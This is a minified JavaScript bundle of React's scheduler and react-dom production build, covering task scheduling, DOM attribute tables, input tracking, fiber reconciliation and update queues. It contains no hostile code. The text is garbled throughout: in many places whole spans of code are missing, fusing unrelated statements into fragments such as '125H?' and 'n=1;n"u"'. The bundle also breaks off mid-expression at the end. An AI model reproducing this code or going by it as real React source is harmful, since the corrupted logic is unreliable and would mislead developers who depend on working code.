if(W.startTime<=R)r(u),W.sortIndex=W.expirationTime,t(c,W);else break;W=n(u)}}function j(R){if(g=!1,w(R),!x)if(n(c)!==null)x=!0,M(k);else{var W=n(u);W!==null&&F(j,W.startTime-R)}}function k(R,W){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var $=m;try{for(w(W),f=n(c);f!==null&&(!(f.expirationTime>W)||R&&!O());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var X=H(f.expirationTime<=W);W=e.unstable_now(),typeof X=="function"?f.callback=X:f===n(c)&&r(c),w(W)}else r(c);f=n(c)}if(f!==null)var se=!0;else{var ue=n(u);ue!==null&&F(j,ue.startTime-W),se=!1}return se}finally{f=null,m=$,h=!1}}var S=!1,N=null,z=-1,_=5,A=-1;function O(){return!(e.unstable_now()-A<_)}function P(){if(N!==null){var R=e.unstable_now();A=R;var W=!0;try{W=N(!0,R)}finally{W?I():(S=!1,N=null)}}else S=!1}var I;if(typeof b=="function")I=function(){b(P)};else if(typeof MessageChannel<"u"){var U=new MessageChannel,D=U.port2;U.port1.onmessage=P,I=function(){D.postMessage(null)}}else I=function(){y(P,0)};function M(R){N=R,S||(S=!0,I())}function F(R,W){z=y(function(){R(e.unstable_now())},W)}e.unstable_IdlePriority=5,e.unstable_ImmediatePriority=1,e.unstable_LowPriority=4,e.unstable_NormalPriority=3,e.unstable_Profiling=null,e.unstable_UserBlockingPriority=2,e.unstable_cancelCallback=function(R){R.callback=null},e.unstable_continueExecution=function(){x||h||(x=!0,M(k))},e.unstable_forceFrameRate=function(R){0>R||125H?(R.sortIndex=$,t(u,R),n(c)===null&&R===n(u)&&(g?(v(z),z=-1):g=!0,F(j,$-H))):(R.sortIndex=X,t(c,R),x||h||(x=!0,M(k))),R},e.unstable_shouldYield=O,e.unstable_wrapCallback=function(R){var W=m;return function(){var $=m;m=W;try{return R.apply(this,arguments)}finally{m=$}}}})(Z2);X2.exports=Z2;var gz=X2.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var yz=p,ln=gz;function Q(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),Sp=Object.prototype.hasOwnProperty,bz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,wv={},jv={};function wz(e){return Sp.call(jv,e)?!0:Sp.call(wv,e)?!1:bz.test(e)?jv[e]=!0:(wv[e]=!0,!1)}function jz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function kz(e,t,n,r){if(t===null||typeof t>"u"||jz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Bt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Ct={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Ct[e]=new Bt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Ct[t]=new Bt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Ct[e]=new Bt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Ct[e]=new Bt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Ct[e]=new Bt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Ct[e]=new Bt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Ct[e]=new Bt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Ct[e]=new Bt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Ct[e]=new Bt(e,5,!1,e.toLowerCase(),null,!1,!1)});var jh=/[\-:]([a-z])/g;function kh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(jh,kh);Ct[t]=new Bt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Ct[e]=new Bt(e,1,!1,e.toLowerCase(),null,!1,!1)});Ct.xlinkHref=new Bt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Ct[e]=new Bt(e,1,!1,e.toLowerCase(),null,!0,!0)});function Nh(e,t,n,r){var i=Ct.hasOwnProperty(t)?Ct[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{bf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Fs(e):""}function Nz(e){switch(e.tag){case 5:return Fs(e.type);case 16:return Fs("Lazy");case 13:return Fs("Suspense");case 19:return Fs("SuspenseList");case 0:case 2:case 15:return e=wf(e.type,!1),e;case 11:return e=wf(e.type.render,!1),e;case 1:return e=wf(e.type,!0),e;default:return""}}function Ep(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ya:return"Fragment";case ga:return"Portal";case zp:return"Profiler";case Sh:return"StrictMode";case Cp:return"Suspense";case Pp:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case ew:return(e.displayName||"Context")+".Consumer";case J2:return(e._context.displayName||"Context")+".Provider";case zh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case Ch:return t=e.displayName||null,t!==null?t:Ep(e.type)||"Memo";case Kr:t=e._payload,e=e._init;try{return Ep(e(t))}catch{}}return null}function Sz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Ep(t);case 8:return t===Sh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function mi(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function nw(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function zz(e){var t=nw(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function xl(e){e._valueTracker||(e._valueTracker=zz(e))}function rw(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=nw(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function gc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function Ap(e,t){var n=t.checked;return Ge({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function Nv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=mi(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function iw(e,t){t=t.checked,t!=null&&Nh(e,"checked",t,!1)}function _p(e,t){iw(e,t);var n=mi(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Op(e,t.type,n):t.hasOwnProperty("defaultValue")&&Op(e,t.type,mi(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function Sv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Op(e,t,n){(t!=="number"||gc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var Ws=Array.isArray;function Ta(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=vl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function io(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Ys={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},Cz=["Webkit","ms","Moz","O"];Object.keys(Ys).forEach(function(e){Cz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Ys[t]=Ys[e]})});function lw(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Ys.hasOwnProperty(e)&&Ys[e]?(""+t).trim():t+"px"}function cw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=lw(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var Pz=Ge({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function Lp(e,t){if(t){if(Pz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Q(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Q(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Q(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Q(62))}}function Ip(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Dp=null;function Ph(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Rp=null,Ma=null,La=null;function Pv(e){if(e=Ho(e)){if(typeof Rp!="function")throw Error(Q(280));var t=e.stateNode;t&&(t=Uu(t),Rp(e.stateNode,e.type,t))}}function uw(e){Ma?La?La.push(e):La=[e]:Ma=e}function dw(){if(Ma){var e=Ma,t=La;if(La=Ma=null,Pv(e),t)for(e=0;e>>=0,e===0?32:31-($z(e)/Bz|0)|0}var gl=64,yl=4194304;function Us(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function jc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Us(l):(a&=o,a!==0&&(r=Us(a)))}else o=n&~i,o!==0?r=Us(o):a!==0&&(r=Us(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Uo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-$n(t),e[t]=n}function Vz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=Xs),Dv=" ",Rv=!1;function _w(e,t){switch(e){case"keyup":return gC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Ow(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var ba=!1;function bC(e,t){switch(e){case"compositionend":return Ow(t);case"keypress":return t.which!==32?null:(Rv=!0,Dv);case"textInput":return e=t.data,e===Dv&&Rv?null:e;default:return null}}function wC(e,t){if(ba)return e==="compositionend"||!Ih&&_w(e,t)?(e=Ew(),nc=Th=Qr=null,ba=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Wv(n)}}function Iw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Iw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Dw(){for(var e=window,t=gc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=gc(e.document)}return t}function Dh(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function AC(e){var t=Dw(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Iw(n.ownerDocument.documentElement,n)){if(r!==null&&Dh(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Uv(n,a);var o=Uv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,wa=null,Vp=null,Qs=null,Hp=!1;function Vv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Hp||wa==null||wa!==gc(r)||(r=wa,"selectionStart"in r&&Dh(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Qs&&uo(Qs,r)||(Qs=r,r=Sc(Vp,"onSelect"),0Na||(e.current=Zp[Na],Zp[Na]=null,Na--)}function De(e,t){Na++,Zp[Na]=e.current,e.current=t}var hi={},Ot=bi(hi),Kt=bi(!1),qi=hi;function Ua(e,t){var n=e.type.contextTypes;if(!n)return hi;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function qt(e){return e=e.childContextTypes,e!=null}function Cc(){Be(Kt),Be(Ot)}function Zv(e,t,n){if(Ot.current!==hi)throw Error(Q(168));De(Ot,t),De(Kt,n)}function Kw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Q(108,Sz(e)||"Unknown",i));return Ge({},n,r)}function Pc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||hi,qi=Ot.current,De(Ot,e),De(Kt,Kt.current),!0}function Qv(e,t,n){var r=e.stateNode;if(!r)throw Error(Q(169));n?(e=Kw(e,t,qi),r.__reactInternalMemoizedMergedChildContext=e,Be(Kt),Be(Ot),De(Ot,e)):Be(Kt),De(Kt,n)}var hr=null,Vu=!1,Lf=!1;function qw(e){hr===null?hr=[e]:hr.push(e)}function WC(e){Vu=!0,qw(e)}function wi(){if(!Lf&&hr!==null){Lf=!0;var e=0,t=Ae;try{var n=hr;for(Ae=1;e>=o,i-=o,vr=1<<32-$n(t)+i|n<z?(_=N,N=null):_=N.sibling;var A=m(v,N,w[z],j);if(A===null){N===null&&(N=_);break}e&&N&&A.alternate===null&&t(v,N),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A,N=_}if(z===w.length)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;zz?(_=N,N=null):_=N.sibling;var O=m(v,N,A.value,j);if(O===null){N===null&&(N=_);break}e&&N&&O.alternate===null&&t(v,N),b=a(O,b,z),S===null?k=O:S.sibling=O,S=O,N=_}if(A.done)return n(v,N),Ve&&Ei(v,z),k;if(N===null){for(;!A.done;z++,A=w.next())A=f(v,A.value,j),A!==null&&(b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return Ve&&Ei(v,z),k}for(N=r(v,N);!A.done;z++,A=w.next())A=h(N,v,z,A.value,j),A!==null&&(e&&A.alternate!==null&&N.delete(A.key===null?z:A.key),b=a(A,b,z),S===null?k=A:S.sibling=A,S=A);return e&&N.forEach(function(P){return t(v,P)}),Ve&&Ei(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ya&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case hl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ya){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Kr&&tg(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=zs(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ya?(b=Wi(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=uc(w.type,w.key,w.props,null,v.mode,j),j.ref=zs(v,b,w),j.return=v,v=j)}return o(v);case ga:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=Uf(w,v.mode,j),b.return=v,v=b}return o(v);case Kr:return S=w._init,y(v,b,S(w._payload),j)}if(Ws(w))return x(v,b,w,j);if(ws(w))return g(v,b,w,j);zl(v,w)}return typeof w=="string"&&w!==""||typeof w=="number"?(w=""+w,b!==null&&b.tag===6?(n(v,b.sibling),b=i(b,w),b.return=v,v=b):(n(v,b),b=Wf(w,v.mode,j),b.return=v,v=b),o(v)):n(v,b)}return y}var Ha=Zw(!0),Qw=Zw(!1),_c=bi(null),Oc=null,Ca=null,Fh=null;function Wh(){Fh=Ca=Oc=null}function Uh(e){var t=_c.current;Be(_c),e._currentValue=t}function em(e,t,n){for(;e!==null;){var r=e.alternate;if((e.childLanes&t)!==t?(e.childLanes|=t,r!==null&&(r.childLanes|=t)):r!==null&&(r.childLanes&t)!==t&&(r.childLanes|=t),e===n)break;e=e.return}}function Da(e,t){Oc=e,Fh=Ca=null,e=e.dependencies,e!==null&&e.firstContext!==null&&(e.lanes&t&&(Wt=!0),e.firstContext=null)}function Nn(e){var t=e._currentValue;if(Fh!==e)if(e={context:e,memoizedValue:t,next:null},Ca===null){if(Oc===null)throw Error(Q(308));Ca=e,Oc.dependencies={lanes:0,firstContext:e}}else Ca=Ca.next=e;return t}var Ii=null;function Vh(e){Ii===null?Ii=[e]:Ii.push(e)}function Jw(e,t,n,r){var i=t.interleaved;return i===null?(n.next=n,Vh(t)):(n.next=i.next,i.next=n),t.interleaved=n,Sr(e,r)}function Sr(e,t){e.lanes|=t;var n=e.alternate;for(n!==null&&(n.lanes|=t),n=e,e=e.return;e!==null;)e.childLanes|=t,n=e.alternate,n!==null&&(n.childLanes|=t),n=e,e=e.return;return n.tag===3?n.stateNode:null}var qr=!1;function Hh(e){e.updateQueue={baseState:e.memoizedState,firstBaseUpdate:null,lastBaseUpdate:null,shared:{pending:null,interleaved:null,lanes:0},effects:null}}function e5(e,t){e=e.updateQueue,t.updateQueue===e&&(t.updateQueue={baseState:e.baseState,firstBaseUpdate:e.firstBaseUpdate,lastBaseUpdate:e.lastBaseUpdate,shared:e.shared,effects:e.effects})}function wr(e,t){return{eventTime:e,lane:t,tag:0,payload:null,callback:null,next:null}}function si(e,t,n){var r=e.updateQueue;if(r===null)return null;if(r=r.shared,Ne&2){var i=r.pending;return i===null?t.next=t:(t.next=i.next,i.next=t),r.pending=t,Sr(e,n)}return i=r.interleaved,i===null?(t.next=t,Vh(r)):(t.next=i.next,i.next=t),r.interleaved=t,Sr(e,n)}function ic(e,t,n){if(t=t.updateQueue,t!==null&&(t=t.shared,(n&4194240)!==0)){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}function ng(e,t){var n=e.updateQueue,r=e.alternate;if(r!==null&&(r=r.updateQueue,n===r)){var i=null,a=null;if(n=n.firstBaseUpdate,n!==null){do{var o={eventTime:n.eventTime,lane:n.lane,tag:n.tag,payload:n.payload,callback:n.callback,next:null};a===null?i=a=o:a=a.next=o,n=n.next}while(n!==null);a===null?i=a=t:a=a.next=t}else i=a=t;n={baseState:r.baseState,firstBaseUpdate:i,lastBaseUpdate:a,shared:r.shared,effects:r.effects},e.updateQueue=n;return}e=n.lastBaseUpdate,e===null?n.firstBaseUpdate=t:e.next=t,n.lastBaseUpdate=t}function Tc(e,t,n,r){var i=e.updateQueue;qr=!1;var a=i.firstBaseUpdate,o=i.lastBaseUpdate,l=i.shared.pending;if(l!==null){i.shared.pending=null;var c=l,u=c.next;c.next=null,o===null?a=u:o.next=u,o=c;var d=e.alternate;d!==null&&(d=d.updateQueue,l=d.lastBaseUpdate,l!==o&&(l===null?d.firstBaseUpdate=u:l.next=u,d.lastBaseUpdate=c))}if(a!==null){var f=i.baseState;o=0,d=u=c=null,l=a;do{var m=l.lane,h=l.eventTime;if((r&m)===m){d!==null&&(d=d.next={eventTime:h,lane:0,tag:l.tag,payload:l.payload,callback:l.callback,next:null});e:{var x=e,g=l;switch(m=t,h=n,g.tag){case 1:if(x=g.payload,typeof x=="function"){f=x.call(h,f,m);break e}f=x;break e;case 3:x.flags=x.flags&-65537|128;case 0:if(x=g.payload,m=typeof x=="function"?x.call(h,f,m):x,m==null)break e;f=Ge({},f,m);break e;case 2:qr=!0}}l.callback!==null&&l.lane!==0&&(e.flags|=64,m=i.effects,m===null?i.effects=[l]:m.push(l))}else h={eventTime:h,lane:m,tag:l.tag,payload:l.payload,callback:l.callback,next:null},d===null?(u=d=h,c=f):d=d.next=h,o|=m;if(l=l.next,l===null){if(l=i.shared.pending,l===null)break;m=l,l=m.next,m.next=null,i.lastBaseUpdate=m,i.shared.pending=null}}while(!0);if(d===null&&(c=f),i.baseState=c,i.firstBaseUpdate=u,i.lastBaseUpdate=d,t=i.shared.interleaved,t!==null){i=t;do o|=i.lane,i=i.next;while(i!==t)}else a===null&&(i.shared.lanes=0);Xi|=o,e.lanes=o,e.memoizedState=f}}function rg(e,t,n){if(e=t.effects,t.effects=null,e!==null)for(t=0;tn?n:4,e(!0);var r=Df.transition;Df.transition={};try{e(!1),t()}finally{Ae=n,Df.transition=r}}function v5(){return Sn().memoizedState}function KC(e,t,n){var r=li(e);if(n={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null},g5(e))y5(t,n);else if(n=Jw(e,t,n,r),n!==null){var i=It();Bn(n,e,r,i),b5(n,t,r)}}function qC(e,t,n){var r=li(e),i={lane:r,action:n,hasEagerState:!1,eagerState:null,next:null};if(g5(e))y5(t,i);else{var a=e.alternate;if(e.lanes===0&&(a===null||a.lanes===0)&&(a=t.lastRenderedReducer,a!==null))try{var o=t.lastRenderedState,l=a(o,n);if(i.hasEagerState=!0,i.eagerState=l,Wn(l,o)){var c=t.interleaved;c===null?(i.next=i,Vh(t)):(i.next=c.next,c.next=i),t.interleaved=i;return}}catch{}finally{}n=Jw(e,t,i,r),n!==null&&(i=It(),Bn(n,e,r,i),b5(n,t,r))}}function g5(e){var t=e.alternate;return e===qe||t!==null&&t===qe}function y5(e,t){Js=Lc=!0;var n=e.pending;n===null?t.next=t:(t.next=n.next,n.next=t),e.pending=t}function b5(e,t,n){if(n&4194240){var r=t.lanes;r&=e.pendingLanes,n|=r,t.lanes=n,Ah(e,n)}}var Ic={readContext:Nn,useCallback:Et,useContext:Et,useEffect:Et,useImperativeHandle:Et,useInsertionEffect:Et,useLayoutEffect:Et,useMemo:Et,useReducer:Et,useRef:Et,useState:Et,useDebugValue:Et,useDeferredValue:Et,useTransition:Et,useMutableSource:Et,useSyncExternalStore:Et,useId:Et,unstable_isNewReconciler:!1},YC={readContext:Nn,useCallback:function(e,t){return er().memoizedState=[e,t===void 